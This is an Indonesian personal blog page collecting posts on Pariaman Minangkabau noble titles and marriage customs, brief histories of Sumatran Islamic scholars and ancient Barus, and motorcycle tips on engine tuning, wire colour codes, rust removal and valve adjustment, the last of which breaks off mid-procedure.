Info




SELAMAT DATANG DI WEB Haris Gudang Ilmu



Selamat datang di Web Side saya , saya harap anda senang berada di Web sederhana ini. Web ini saya tulis dengan komputer yang sederhana dan koneksi internet yang juga sederhana. Saya berharap Anda sering datang kembali. Silahkan anda mencari hal-hal yang baru di blog saya ini. Terima Kasih



SEKILAS HARIS GUDANG ILMU



Nama saya Mohammad Haris saya seorang yang mempunyai Web Side ini . Saya mulai belajar blogger sejak bulan Oktober 2009, dan blog ini saya buat pada bulan January 2009. Terimakasih Atas Kunjungannya.Follow Grup saya di https://www.facebook.com/harisgudangilmu?ref=hl







Exit
Jangan Lupa Klik Like Ya

Social Icons

My Biodata Admin



Nama:Muhammad Haris Yuliandra
Angkatan Ke 2 Anak Didikan Dari
Sekolah SMK Negri 1 Kutalimbaru
Sudah Tamat

Selamat Bergabung Di Blog Saya






selamat berkujung di blog saya semoga apa yang saya berikan kepada anda semoga bermanfaat

Minggu, 21 Februari 2016

"Sutan, Bagindo, tigo jo Sidi, di Pariaman urang batuah "

Assalamualaikum ww

Iyoo ko ka-ditaruih-an mak Darul?
Haa.. jadilah, kan suai kito tu mamak & sanak R/N?

Ehhh ...... Ingek-kan lagu Cik Uniang Elly Kasim ...... "Sutan, Bagindo, tigo jo Sidi, di Pariaman urang batuah" ... dst. jadi jelaskan yang 3 ini memang istimewa.
Lhoo ... kok ..

Pariaman sebagai rantau pesisir, budaya-nya lebih berkembang dibanding Darek yang pedalaman, berbagai pengaruh akulturasi asing mampir disini yang kesemua-nya memperkaya khazanah budaya rantau pesisir barat ini, lihat aja misalnya kesenian "Tabuik" (di Bengkulu disebut "Tabot") adalah pengaruh Persia (Iran) yang menganut faham Syiah yang meyakini bahwa yang berhak menjadi Imam (khalifah) Islam dimuka bumi ini harus keturunan Rasulullah dari garis keturunan bapak yang nasab-nya sampai ke cucu kesayangan Rasulullah "Hasan dan Hosen" anak Kalifah Ali bin Abi Thalib yang juga adik sepupu dan sekaligus mantu Rasulullah itu

Diyakini bahwa ulama2 Syi'ah pernah hadir di Pesisir Barat Sumatera sejak dari Aceh di-utara hingga ke Sibolga, Pasaman, Pariaman, Painan dan Bengkulu di-selatan, namun pengaruh Syi'ah ini tenggelam akibat keras dan gencarnya ulama2 Wahabi meng-counter faham tersebut, hingga yang tersisa dari faham Syi'ah itu hanya terlihat di Pariaman dan Bengkulu yang dikenal dan dilestarikan masyarakat setempat sebagai "Upacara Tabuik" yaitu dalam rangka mengenang kepahlawanan cucu nabi Hasan dan Hosen yang tewas dan jasadnya dicincang dan ditendang kesana kemari oleh serdadu fihak lawan, sebagai buntut pertelegahan setelah wafatnya khalifah terakhir Ali bi Abi Thalib dimana sebagian umat mendukung bahwa yang berhak menggantikan Ali sebagai khalifah harus-lah keturunan Rasulullah tepatnya Hasan atau Hosen itu, dilain fihak berkembang pendapat "kan nggak harus begitu" lhaa .. Rasulullah aja nggak pernah ngomong gitu kok, jadi siapa saja berhak jadi khalifah asal syarat2 kepemimpinan terpenuhi (lewat fit & proper test kali yaa?), lihat ja tuh Abu Bakar, Umar dan Usman nggak ada hubungan darah kok dengan Rasulullah

Pertelegahan ini dimenangkan oleh Grup Muawiyah yang kemudian dimulailah pemerintahan Dinasti Muawiyah, Hasan & Hosen gugur dalam perang Karbala itu dan pengikut2nya menyingkir jauh ke utara kira2 didaerah Iraq dan Iran sekarang

Masyarakat Islam di Iran yang berfaham Syi'ah itu meyakini Ayatollah Khomeni dan Ayatollah Rafsanjani sebagai pemimpin / Imam seluruh Umat Islam didunia yang dinegara-nya Iran sebagai orang paling berkuasa dan diyakini sebagai keturunan Rasulullah lewat cucu kesayangan Rasulullah Hasan dan Hosen itu

Mereka ditandai dengan gelar "Ayatollah" sang Imam (pemimpin umat) sedangkan mereka2 yang memakai gelar "Mollah" diyakini juga sebagai keturunan Rasulullah dari garis keturunan ibu yang nasab-nya juga berakhir hingga Hasan dan Hosen, para Mollah di Iran sebagai Imam (pemimpin) Masjid

Naaa ..... benarkah "SIDI" itu keturunan ulama2 Syi'ah yang pernah datang ke Pariaman yang diyakini masih keturunan Rasulullah? Wallahualam bissawab, kakek (ayah dari ibu) saya almarhum Sidi Ali itu sih rasa2nya dulu waktu saya masih SMP pernah ngomong gitu, jadi giman yaa ...... udah deh tarok-lah iyaa, gitu aja kok reefoooot .... pantesan Elly Kasim ngomong gitu dalam lagu-nya

Naaah .... udah ketauan kan kalok yang namanya SIDI itu di Pariaman "urang nan batuah?
Nggak bohongkan Elly Kasim?
Iyaa itu tadi, Islam itu disebarkan lewat jalur dagang dan perkawinan, sebagai orang yang lebih banyak tahu tentang Islam, ulama yang juga nyambi sebagai saudagar itu kan boleh dong menikahi gadis2 setempat tentu saja dipilih anak orang2 berpengaruh seperti anak Datuak / Pangulu nan Godang Basa Batuah itu, lalu disepakati anak2 keturunan ulama atau orang alim ini ditandai dengan gelar SIDI yang kalau didaerah Pesisir Timur Sumatera seperti Deli, Langkat, Riau dan Semenanjung Tanah Melayu biasa dipanggil "SAID" yaitu keturunan orang2 alim, kira2 gituuuu lah cerita-nya

Gimana dengan SUTAN dan BAGINDO?

Mereka2 yang mewarisi gelar ini diyakini sebagai "KETURUNAN PEMBESAR2 ISTANO ALAM PAGARUYUANG"

Pada masa2 tertentu RAJO ALAM PAGARUYUANG melakukan TOUR of AREA kedaerah2 tertentu diwilayah kekuasaan-nya entah itu ke Inderagiri, Siak, Gasib, Gunung Sahilan, Rokan Kubu Bangko, Rokan Tinggi, Lipat Kain, Kuantan dll. di kawasan Rantau Pesisir Timur Riau atau kekawasan Rantau Pesisir Barat seperti ke Kinali, Tiku, Pariaman, Padang Darek, Indrapuro, Kurinci, Jambi dll

Tidak semua daerah ini bisa dikunjungi SANG RAJO ALAM PAGARUYUANG, maka diutuslah orang2 kepercayaan beliau, kunjungan ini dimaksudkan tentu saja sebagai pengawasan melekat bahwa semua kawasan tersebut masih patuh dan masih dibawah kendali Rajo Alam Pagaruyuang, biasa-nya pulang ke Pagaruyuang para pembesar ini membawa oleh2 sebagai "TANDA KETUNDUKAN" daerah kepada pusat, tanda ketundukan itu berupa barang berharga seperti emas atau komoditi lain-nya yang biasa disebut sebagai "AMEH MANAH"

Nah .... Pembesar2 dari Istano Alam Pagaruyuang ini didaerah tertentu kan bisa aja lama disuatu tempat, yang kadang2 menikah dengan gadis setempat dan tentu saja penguasa setempat memaklumi hal ini, kan masih banyak stock gadis anak kemenakan penguasa setempat yang bisa ditawari sebagai istri pembesar pusat itu, iyyaa kan?

Anak keturunan Pembesar2 Istano Pagaruyuang dengan gadis2 setempat itu setelah besar ditandai dengan gelar "SUTAN atau BAGINDO"

Yang jelas SUTAN atau BAGINDO ini bukan berasal dari keturunan orang sembarangan, ayah mereka yang orang kepercayaan Istano Pagaruyuang itu masih kerabat RAJO ALAM PAGARUYUANG, entah adik, anak, kemenakan dll. makanya Elly Kasim mengatakan "Di Pariaman Urang Batuah" ... you get it?

Naah .... sesuai subject diatas untuk mereka2 di-istimewakan ini yang mewarisi gelar SUTAN ataupun BAGINDO ataupun SIDI dari ayahnya oleh adat Pariaman berlaku "Adat Bajapuik" artinya turun dari rumah ibunya untuk disandingkan dengan anak daro dan kelak jadi urang sumando di-rumah keluarga istrinya, harus dilengkapi secara adat waktu acara "Manjapuik Marapulai" dengan Payuang Kuniang sebagai lambang kebesaran Raja2 Melayu, tiga buah cincin emas yang di-ikat dengan secarik kain kuning, sebilah Sewah (mirip2 rencong Aceh), Siriah Carano Salangkok-nyo, Uang Jemputan (bisa berupa uang, perhiasan emas seperti gelang, rupiah atau ringgit emas sejumlah yang telah dimufakati sebelumnya) dan tentu saja harus dijemput oleh atau atas nama "Mamak Kapalo Warih" dari keluarga si anak daro (biasanya diwakili oleh seorang "Kapalo Mudo" yang udah jagoan berpetatah petitih serta diramaikan oleh iring2an para sumandan (sumando perempuan keluarga anak daro yang berpakaian merah2) dan di-bunyikan peralatan bunyi2an seperti talempong dan tambua

Eh.. iyaa.. mak Darul
Kawasan 2X11 6 Lingkuang atau daerah Kayu Tanam dan sekitarnya secara administrasi pemerintahan memang masuk kedaerah Kabupaten Padang Pariaman, namun sebagian besar kawasan ini bukanlah "Pendukung Budaya Piaman"

Orang disini menamakan diri sebagai "Kapalo Darek Ikua Rantau" maksudnya adat istiadat mereka lebih dekat ke Padang Panjang, nah kalaupun ada yang sama dengan budaya Pariaman tentulah untuk daerah2 yang berbatasan dengan kecamatan Tujuah Koto atau Lubuak Aluang, banyak diantara orang daerah sini yang keberatan dipanggil "AJO" mereka biasa dipanggil "UDA" artinya mereka keberatan disebut sebagai "Urang Piaman"

Jadi untuk memastikan "orang sini" memang pendukung budaya Piaman, memang harus disigi dulu, karena banyak yang berasal dari Batipuah, Padang Panjang ataupun pinggiran Agam seperti Koto Baru dan Pandai Sikek yang tidak ada sangkut paut dengan budaya Piaman, lain hal untuk kawasan seperti Kiambang, Sicincin, Pakandangan dan sekitarnya masih bisa dikatakan ada hubungan dengan akar budaya Piaman, namun mereka bahkan sampai ke Lubuak Aluang dan Pasa Usang sekalipun kadang nggak merasa "Piaman Bana" lihat aja mereka tidak menggunakan panggilan "ajo" tetapi "uda" makanya adat pinang meminang dan alek baralek nggak sama persis dengan yang di Piaman

Ada juga sih, oknum2 yang akal bulus, ngaku2 Piaman agar bisa minta "Uang Ilang" kepada calon besan-nya, padahal aslinya sih enggak, jadi harus "Teliti dulu sebelum Membeli"

Sebenarnya satu hal yang bisa kita tangkap bahwa "ORANG PIAMAN ITU SANGAT PEDULI TERHADAP ANAK / DUNSANAK / KEMENAKAN PEREMPUAN" nya, oleh karena itu "Gadih Gadang Indak BalakiI" dianggap sebagai suatu ancaman yang harus diantisipasi jauh sebelumnya, semua sumber daya dikerahkan sebisanya agar anak/dunsanak/kemenakan perempuan "bajunjuangan" alias udah punya suami

Urang Piaman nggak mepedulikan anggapan mereka2 yang bukan pendukung budaya Piaman dengan istilah "DIBELI" yang penting anak/ dunsanak / kemenakan perempuan mereka terselamatkan dari ancaman "Gadih Gadang Indak Balaki" itu sebagaimana disebutkan:

"lalok sakalok barasian, mato tanido mimpi tibo, dapek dek hati kato bana, dipujuak indak kunjuang ilang, dilengah indak kunjuang lupo namun bana takana juo, apo banalah nan takana dek ambo tu kini, dilayangkan pandang nan jauah, ditukiakkan pandang nan ampia, tabuang pandang ka nan lapang tatumbuak pandang katangah rumah, tampaklah anak sadang lalu, ditengok anak lah gadang"

"pipatah ado mangatokan, jalan tarikat baibarat putuih alemu banasakah sadang li hadis lai badalia kunun kato tak bamisa, dimisakan bak mananam kacang panjang, bijo baiak tanahnyo subur, kacang ditanam nanlah tumbuah, ditengok pucuak lah mancumua, aka lah mulai nak malilik, daun lah baransua nak manjurai, lah mungkin bungo nan kakalua, lah sah buah nak nyo adang, manuruik pituah dinan tuo, supayo daun nak barasiah, supayo buah nak salamaik lah patuik kacang dibari bajunjuangan

"diambiak kisah tantang pado anak, kok tinggi lah manyentak rueh, kok gadang lah mambaok buku, lah patuik dipulangkan karumah tanggo-nyo dicarikan jodoh jo junjuangan, dek kito silang nan bapangka, barang nan indak lah bacari barang nan jauah lah bajapuik, nan hampia lah ba-adokan, lah tasadio kajodoh anak kamanakan kito-ko, bagi silang nan bapangka disiko janji mangko ditapeki, disiko utang mangko diansua, disiko baban mangko kadilapehi"

Jadi mamak & sanak kasadonyo

Ini semua berpangkal dari ketentuan adat bahwa ada tiga hal yang harus di antisipasi yaitu
1. "Rumah Gadang Katirisan" (nggak dibahas sekarang)
2. "Mayik Tabujua Ditangah Rumah (juga nggak dibahas sekarang)
3. "GADIH GADANG INDAK BALAKI" (disinikan punca-nya)

Jadi adanya KETAKUTAN yang berlebihan kalau anak2 perempuan mereka nggak kebagian suami, apalagi bila anak gadisnya dinilai udah kelewat umur, yaaaa .... kabarnya sih semakin sulit dapat laki, apalagi kecendrungan manusia laki2 itu kan mau-nya perawan ting2 dibawah 20 tahun, sehingga timbul ketakutan para ortu/mamak/dunsanak laki2 mereka

Jadi jelas disini bahwa ketakutan yang berlebihan itu memunculkan persaingan atau kompetisi yang tidak sehat, sang gadis tentu saja nggak di-anjurkan keluyuran sana sini sambil cari jodoh karena hal demikian akan memalukan sang ortu/mamak/dunsanak laki2, jadi mereka tidak akan mempediarkan anak/dunsanak/kemenakan perempuan mereka ngelayap sana ngelayap sin hingga di cap sebagai "gadis jongkek" alias "cewek palala"

Jadi sang ortu/mamak harus bertanggung jawab mencarikan jodoh untuk anak2 perempuan-nya

Naa.. karena semua mamak pada sibuk mencarikan jodoh untuk anak kemenakan masing2, yaa yang dicari tentu jadi rebutan, nah kalau udah rebutan begini kan yang bakalan menang kan cuma satu, iyakaan?

Nggak salah kok bila kita katakan sesuai teori dasar ilmu ekonomi, bila tingkat permintaan (D=demand) meningkat maka harga akan naik atau bila tingkat penawaran (S=supply) menurun sementara tingkat permintaan (D) semakin meningkat maka harga akan semakin naik

Jadi yang salah bukan yang punya anak laki2 (mereka toh tenang2 aja, malahan yang terjadi justru ketenangan-nya yang jadi ter-usik) karena yang punya anak perempuan yang sibuk nggak ketulungan, takuuuut bangeet bila punya anak perempuan dibilang udah perawan tua

Jadi kalau menurut sanak Rahima salah siopooooo dooong?

Menghadapi fenomena yang serba sulit ini, orang Piaman harus pintar, putar otak (awas jangan terlalu putar, ntar lepas pula baut2nya) gimana pintar-nya?

Kalau gitu jangan cari menantu "Orang Piaman" kan banyak tuh yang orang Jawa, Melayu Riau, Sunda, Dll. pokoknya nggak ngeluarin duit sepeserpun malah sebaliknya calon suami yang ngasi duit seperti calon pengantin laki2 Melayu Riau akan memberikan "Uang Hantaran" segepok kepada keluarga calon istrinya, iyaakan, gitu aja kok susah amat, sedangkan si amat aja nggak pernah susah, heeeee ... heeeeee

Biarin aja tuh "Laki2 Piaman" nggak ada yang ngelamar, biar mereka pusing 7 keliling di cap sebagai "Bujang Lapuak" rasa in lu jadi lapuak tagantuang heee ...heeee ...

Tapi kan kenyataan nggak semua begitu ..............

Memang ada beberapa keluarga Piaman yang jadi buah mulut karena "galia", kalau punya anak laki2, mau-nya dapat menantu perempuan Piaman, biar dapat uang ilang, kan lumayan buat ongkos pesta, tapi kalau punya anak perempuan nggak mau ngelamar laki2 Piaman, mending cari yang orang JHOWO, lhaaa ini baru hueeebhaat, orang kat'e "DAPEK AMEH SAGADANG URANG" dapat mas jawa yang beratnya +/- 70 kilo, itu bhuaruu Hueebhaaat ... heeee ... heee

wasalam
abp

Sabtu, 16 Mei 2015

SEJARAH TUAN GURU NAQSYABANDIYAH

Di Bumi sumatra Utara lebih tepatnya di daerah langkat, terdapat sebuah kampung yang bernamaKampungBasilam.Secara etimologis, “besilam” berarti pintu kesejahteraan.
Menurut cerita, kampung ini pertama sekali dibangun oleh Almarhum Tuan Guru Syekh Abdul Wahab Rokan atau yang lebih dikenal dengan sebutan Tuan Guru Babussalam.
Beliau adalah seorang Ulama dan pemimpin Tarekat Naqsabandiyah.Di Kampung ini terdapat makam beliau yaitu Syekh Abdul Wahab Rokan yang dikenal juga dengan Syekh Basilam yang merupakan murid dari Syekh Sulaiman Zuhdi di Jabal Qubais Mekkah.Tampak sekilas, kampung Basilam mirip dengan sebuah pesantren yang terpencil, teduh, asri,dan damai.

Kisah Buya Hamka dan Presiden Soekarno



“Bila aku mati kelak, minta kesediaan Hamka untuk menjadi imam shalat jenazahku.”(Soekarno )


Di sepetak ruang. Di sudut lorong-lorong gelap, berkelok, tak tahu di mana ujungnya. Ruangan itu tak kalah gelap. Hanya cahaya dari balik jendela kecil di atas sana yang lariknya menembus, membelai debu-debu beterbangan, menyapa lembaran kertas yang menumpuk. Lembaran yang begitu rapi. Lembaran yang ia tulis, selama dua tahun 4 bulan. Di balik jeruji, di pinggiran Sukabumi. Atas tuduhan makar, kezaliman rezim tiran tak berdasar.

SYEKH BURHANUDDIN, ULAKAN (1646 – 1704)

Syekh Burhanuddin telah banyak dikenal dan diperbincangkan para ilmuwan, baik dalam literatur, maupun dari laporan bangsa Eropah lainnya. Salah satu sumber utama yang menjelaskan dari perkembangan surau-surau dan lahirnya pembaruan Islam di Minangkabau berasal dari sebuah naskah kuno tulisan Arab Melayu. Naskah itu berjudul, Surat Keterangan Saya Faqih Saghir Ulamiyah Tuanku Samiq Syekh Jalaluddin Ahmad Koto Tuo, yang ditulis pada tahun 1823. Buku ini menjelaskan peranan surau dalam menyebarkan agama Islam di pedalaman Minangkabau yang dikembangkan oleh murid-murid Syekh Burhanuddin Ulakan.
Di samping itu, riwayat ulama ini telah diterbitkan dalam tulisan Arab Melayu oleh Syekh Harun At Tobohi al Faryamani (1930) dengah judul Riwayat Syekh Burhanuddin dan Imam Maulana Abdul Manaf al Amin dalam Mubalighul Islam. Buku ini menerangkan dengan jelas mengenai diri Pono, yang kemudian bergelar Syekh Burhanuddin. Diceritakan dengan jelas kehidupan keluarga, masa mengenal Islam dengan Tuanku Madinah kemudian berlayar ke Aceh untuk menimba ilmu kepada Syekh Abdurrauf al Singkli.
Syekh Burhanuddin adalah salah seorang dari murid Syekh Abdur Rauf al Singkli yang dikenal juga dengan panggilan Syekh Kuala. Sekembali dari Aceh, Syekh Burhanuddin membawa ajaran Tharikat Syattariyah ke Ulakan pada bagian kedua abad ke-17. Dari Ulakan ajaran tarikat menyebar melalui jalur perdagangan di Minang-kabau terus ke Kapeh-kapeh dan Pamansiangan, kemudian ke Koto Laweh, Koto Tuo, dan ke Ampek Angkek. Di sebelah barat Koto Tuo berdiri surau-surau tarikat yang banyak menghasilkan ulama. Daerah ini dikenal dengan nama Ampek Angkek, berasal dari nama empat orang guru yang teruji kemasyhurannya.

SEJARAH KOTA TUA BARUS TERMASUR SEBELUM MASEHI

BARUS atau biasa disebut Fansur barangkali satu-satunya kota di Nusantara yang namanya telah disebut sejak awal abad Masehi oleh literatur-literatur dalam berbagai bahasa, seperti dalam bahasa Yunani, Siriah, Armenia, Arab, India, Tamil, China, Melayu, dan Jawa.
Berita tentang kejayaan Barus sebagai bandar niaga internasional dikuatkan oleh sebuah peta kuno yang dibuat oleh Claudius Ptolemaus, seorang gubernur dari Kerajaan Yunani yang berpusat di Alexandria, Mesir, pada abad ke-2.

Peta Dunia Abad ke 2 yang di buat oleh Claudius Ptolemaus

Minggu, 14 Desember 2014

Lima cara mengingkatkan tenaga skuter metic

Anda pengguna sepeda motor skuter matik, namun kurang puas dengan tenaga yang disemburkan mesin? Tak usah bingung ganti motor. Cukup dengan biaya Rp 3,3 – Rp 4,1 juta dijamin motor Anda mampu melesat seperti motor balap.

Caranya? Cukup mudah. “Ubah setingan piston, perbesar ruang bakar, CDI dan koil diganti. Begitu juga dengan noken as ganti dengan racing, dan knalpot,” kata Encep Suhandi, Mekanik Leo Motor, Jatinegara, Jakarta Timur, Rabu (6/1).

Dia menyebut contoh, untuk modifikasi mesin Honda Scoopy atau Honda BeAT. “Untuk bore up dua model itu menjadi setara (mesin) 130 cc, harga part dan ongkos jasa sekitar Rp 4, 1 juta,” terang Encep.

Harga itu sudah termasuk ubah blok mesin baru, penggantian piston Izumi 55 mili meter, head custom, valve ukuran 24/28, roller, CLD 10 gram, karbu PE 28, ring piston NPR, CDI BRT F-Tech, porting polish, serta knalpot CLD.

“Harga itu sudah standar. Karena komponen memang banyak, tetapi permintaan juga banyak sehingga toko juga tidak menurunkan harga,” ujar dia.

Lantas apa tujuan ganti beberapa komponen itu ? Apa pula pengaruhnya terhadap tenaga? Berikut penjelasan Encep :

1. Ganti piston dengan diameter besar
Langkah pertama yang harus dilakukan adalah memperbesar tingkat kompresi mesin. Agar rasio kompresi mesin naik, maka piston standar pasti diganti dengan produk aftermarket yang berdiameter lebih besar.

Hal itu dimaksudkan agar tekanan udara dan bahan bakar ke ruang bakar semakin besar dengan komposisi udara lebih besar. “Sehingga proses pembakaran akan berlangsung sempurna. Kalau pembakaran sempurna tenaga yang dihasilkan juga besar,” terang Encep.

Namun, untuk motor skutik yang digunakan untuk mendukung kegiatan harian dan turing peningkatan ruang bakar cukup 125 cc. Pasalnya, dengan tenaga sebesar itu bahan bakar tidak boros tetapi tenaga yang dihasilkan cukup mumpuni.

2. Perbesar saluran ke ruang bakar
Memperbesar piston belumlah cukup bila tidak diimbangi dengan memperbesar saluran bahan bakar ke ruang bakar. Porting ini bertujuan agar proses semburan bahan bakar dari injektor ke ruang bakar semakin lancar.

Satu hal yang patut diingat pengurangan lapisan jangan melebihi 0,5 mm. Seperti halnya pemilihan piston lebih besar, cara ini juga bertujuan agar prosespembakaran bahan bakar lebih sempurna.

3. Gunakan CDI dan koil Racing
CDI atau lengkapnya Capasitor Discharge Ignition adalah alat untuk mengatur waktu meletikkan api dari busi yang kemudian membakar campuran bahan bakar yang sudah mampat akibat tenakan piston.

“Jadi, karena semburan bahan bakar lebih banyak dan tekanan piston makin kuat karena ubahan tadi, maka CDI juga harus ganti yang racing,” kata Encep.

Dengan CDI dank oil racing tenaga akan makin bertambah sempurna.

4. Ganti noken as racing
Penggantian noke as dengan noken racing itu bertujuan untuk meningkatkan kemampuan motor untuk mencapai kecepatan tertinggi, serta menambah torsi mesin.

Noken as racing umumnya tonjolan lebih tinggi, sehingga proses buka tutup klep lebih sempurna. “Dengan proses bukan tutup sempurna itu maka semburan tenaga di saat putaran mesin rendah bisa meningkat,” ujar Encep.

5. Sempurnakan dengan karburator dan knalpot racing
Beberapa ubahan di atas akan menghasilkan tenaga yang maksimal bila karburator dan knalpot racing. Pasalnya, dengan penggunaan piston yang lebih besar dan saluran ke ruang bakar yang disempurnakan, serta pemantik api dari busi (CDI) yang lebih bagus, tentunya juga membutuhkan sistem pengabutan atau semburan bahan bakar yang sempurna.

Sedangkan karburator merupakan peranti untuk menyemburkan kabut bahan bakar ke ruang bakar. “Dengan model racing semburan akan sempurna, karena lubang venturi lebih besar dibanding versi standar,” imbuh Encep.

Begitu pula dengan knalpot racing. Kanlpot model ini biasanya dirancang untuk memiliki tekanan balik gas sisa pembakaran ke ruang bakar yang sempurna. Sehingga kehadirannya akan meningkatkan kesempurnaan proses pembakaran.

“Kalau pemilik motor tidak suka menggunakan kanlpot racing aftermarket, bisa menggunakan knalpot bawaan pabrik tetapi dibobok,” kata Encep.
Lima cara mengingkatkan tenaga skuter metic

Jumat, 28 November 2014

Kumpulan Arti Warna Kabel Sepeda Motor Komplit

Arti Warna Kabel













Pada dasarnya arti warna kabel itu untuk mempermudah pengecekan ketika terjadi kesalahan maupun konslet dibagian kelistrikan. Banyak orang awam yang belum tahu persis rangkaian kelistrikanya padahal sampai salah rangkaian bisa juga konsleting dan kabel terbakar. Nah daripada bingug saya punya sedikit gambaran tentang Arti warna kabel sepeda motor.


Honda
-Merah : Terminal positif aki(+).
-Hijau : Terminal Negatif aki(+).
-Hitam : Arus Output yang keluar dari  positif aki (biasanya dari kunci kontak).
-Biru : Lampu Jarak jauh.
-Putih : Lampu Jarak Dekat .
-Kuning : Arus beban ke saklar lampu/output dari regulator.
-Merah Hitam : Arus spull CDI menuju CDI.
-Abu abu : Arus keluar Flasher menuju saklar diholder kiri.
-Hitam Putih : Kunci kontak.
-Hitam Kuning : Arus yang masuk ke koil.
-Biru Kuning : Arus pulser CDI menuju CDI.
-Hijau Kuning : Output lampu rem menuju lampu rem.
-Coklat : Lampu Kota.
-Biru Laut : Sein/reting kanan .
-Orange : Sein/reting kiri.

Yamaha
-Merah : Arus beban positif aki(+).
-Hitam : massa untuk semua negatif.
-Hijau : Arus penerangan lampu depan/lampu jarak dekat.
-Kuning : Lampu jarak jauh.
-Putih Merah : Arus pulser CDI.
-Putih Hijau : (-) pulser CDI "alfa".
-Hijau Hitam : Output menuju lampu rem.
-Hitam Merah : Output Spull ke CDI  "alfa".
-Orange : Input ke koil.
-Coklat : Arus out put yang keluar dari positif aki menuju kontak dan keluar melalui kontak.
-Hijau Tua : Reting/sein kanan.
-Coklat Tua : Reting/sein kiri.

Suzuki
-Hitam Putih : Masa berlaku untuk semua negatif
-Putih Merah : Pengisian dari spull
-Kuning : Lampu jarak jauh.
-Putih : Lampu jarak dekat/input ke saklar lampu.
-Biru laut : Output flasher ke saklar reting.
-Hijau Tua : Arus masuk ke  Klakson .
-Orange : Arus yang keluar dari kunci kontak/out put positif aki ke kontak.
-Merah : Arus positif aki.
-Abu abu : Out put lampu rem.
-Hitam : Sein/reting kiri .
-Hijau Muda :  Sein/reting kanan.

Kawasaki
-Putih Merah : Arus positif aki.
-Hitam Kuning : Massa berlaku untuk semua negatif.
-Merah Hitam : Lampu jarak jauh.
-Merah Kuning : Lampu jarak dekat.
-Merah : Lampu belakang.
-Coklat : Klakson.
-Hijau : Sein/reting kiri.
-Abu abu : Sein/reting kanan.
-Biru Kuning : arus pulser (+).

Jumat, 17 Oktober 2014

Cara Menghilangkan Karat

Membersihkan karat sangat penting untuk memastikan alat-alat dapat berfungsi dengan baik dan tampak mengkilap. Temukan cara menghilangkan karat pada besi di rumah Anda dengan cepat disini!
Membersihkan karat Anda mungkin tidak banyak berpikir tentang cara membersihkan karat, sehingga mungkin terkejut mendengar bahwa karat dapat muncul di banyak tempat di sekitar rumah, contohnya di panci yang dimasukkan kembali ke dalam lemari sebelum dikeringkan dengan baik, atau noda pada bagian bawah setrika. Berikut adalah beberapa tips dan cara membersihkan karat pada besi dan permukaan krom - dua tempat umum di mana noda karat sering ditemukan.

Cara Menghilangkan Karat Besi

Untuk membantu mengurangi resiko noda karat, Anda harus tahu bagaimana untuk menghilangkan karat dari setrikaan anda dan alat berbahan besi lainnya. Karat dapat terbentuk dengan mudah pada peralatan masak besi seperti penggorengan.
Garam, baking soda, dan jeruk lemon dapat ditemukan di setiap rumah tangga dan akan membantu Anda membersihkan noda karat.
  • Campurkan setengah sendok teh garam dan / atau baking soda dengan satu sendok makan perasan jeruk lemon dan usapkan campuran tersebut di permukaan yang terkena.
  • Kemudian, perlahan lahan lap dengan air kering.
  • Metode ini akan menghilangkan karat dari benda logam Anda, dan juga akan meninggalkan bau jeruk yang menyenangkan.
Baking soda dapat dengan mudah menghilangkan karat pada penggorengan besi. Berikut adalah petunjuk untuk membersihkan noda karat pada panci atau wajan dengan baking soda dan air:
  • Isi panci atau wajan dengan air hangat dan taburi sejumlah baking soda – akan muncul sedikit gas atau busa.
  • Biarkan selama beberapa menit.
  • Gosok dengan spons dapur dengan lembut untuk menghilangkan karat.
menghilangkan karat
Jika Anda perlu menghilangkan karat pada besi atau permukaan lain, ikuti petunjuk di bawah ini:
  • Campurkan satu sendok makan baking soda dengan satu sendok teh air dan usapkan campuran dengan hati-hati pada permukaan yang berkarat.
  • Setelah 15 atau 20 menit, bersihkan dengan menggunakan kain kering.
  • Jika perlu, ulangi prosedur lagi.
Untuk membantu mencegah terbentuknya karat, cucilah panci Anda dengan sabun cuci piring berkualitas baik dan biarkan mereka benar-benar kering. Lalu, usapkan panci dengan lapisan tipis minyak goreng sebelum menyimpannya dalam lemari.

Cara Menghilangkan Karat pada Chrome / Krom

Jika keran berbahan chrome di kamar mandi Anda kadang-kadang bocor sedikit, kelembaban yang terus menerus dapat menimbulkan karat. Jika Anda memiliki perlengkapan chrome di rumah Anda dan perlu tahu cara menghilangkan karat pada chrome, yang Anda butuhkan adalah pembersih kamar mandi yang baik. Sebaiknya anda memilih produk yang menghilangkan karat dalam dua tahap. Anda membutuhkan produk yang melunakkan dan membersihkan noda dengan sabun atau deterjen, kemudian Anda juga akan membutuhkan produk dengan partikel-partikel halus yang dapat mengangkat noda dari chrome. Dengan begini Anda tidak perlu menggosok selama berjam-jam. Membersihkan karat cukup dengan hanya menyeka dengan kain atau spons. Pastikan untuk mencoba metode ini terlebih dahulu di bagian kecil dan tersembunyi.
Setelah membersihkan karat  di kamar mandi, Anda dapat memperlambat pembentukan karat kembali dengan membersihkan dan mengeringkan mereka secara teratur.

Produksi : https://www.facebook.com/harisgudangilmu?ref=hl

Tips Cara Setel Celah Klep Motor 4 Tak


Mekanisme klep mesin motor 4 langkah
Tips Cara Setel Celah Klep Motor - Cara setel klep atau setting klep kebanyakan pemiliki kendaraan bermotor dengan mesin 4 Langkah memang belum banyak yang mengetahui.

Untuk itu sebenarnya kita punya kesempatan belajar untuk mengetahuinya. Mari simak bersama tips cara setting klep motor 4 tak di bawah ini.

Tetapi saran Otomodif Otomania jangan di lakukan sendiri tetapi bawa ke bengkel yang Anda Percaya.

Mengetahui tujuan menyetel klep motor:
Penyetelan celah katup memang perlu dilakukan terhadap sepeda motor, untuk mempertahankan celah (clearance) antara ujung batang katup dengan ujung baut penyetel katup agar tetap sesuai standar. Tujuan utama dari penyetelan Klep motor adalah untuk diperoleh unjuk kerja mesin yang optimal.

Persiapan Alat yang digunakan:
1. Obeng (+) besar dan (+) sedang
2. Obeng (-) Besar
3. Kunci ´T´ (sok 17mm)
4. Kunci ring 89 mm
5. Kunci tapet klep (´L´ klep)
6. Fuller (untuk ukur celah klep)
Langkah kerja :
1. Lepaskan sekrup cover tengah dan tebeng sayap dengan menggunakan obeng (+) sesuai ukuran sekrup.
2. Buka tutup tanda Top di blok magnet (beralur obeng (-) minus besar), yang besar dan kecil.
3. Buka tutup klep ( klep IN (atas) dan klep EX (bawah)) yang ada di kepala silinder yang berkepala kunci ring 17 mm untuk kebanyakan motor, tetapi hal ini bisa lihat dari konstruksi kepala silinder motor.
4. Cari tanda *T* atau TOP dengan cara memutarkan poros engkol menggunakan kunci sok T 17mm searah jarum jam sampai didapat tanda ´T´ di magnet lurus dengan tanda penyesuaian di blok magnet.
5. Pastikan kedua klep dalam posisi bebas goyang).
6. Lakukan pengukuran celah klep dengan memasukan filler diantara celah katup dan baut penyetel
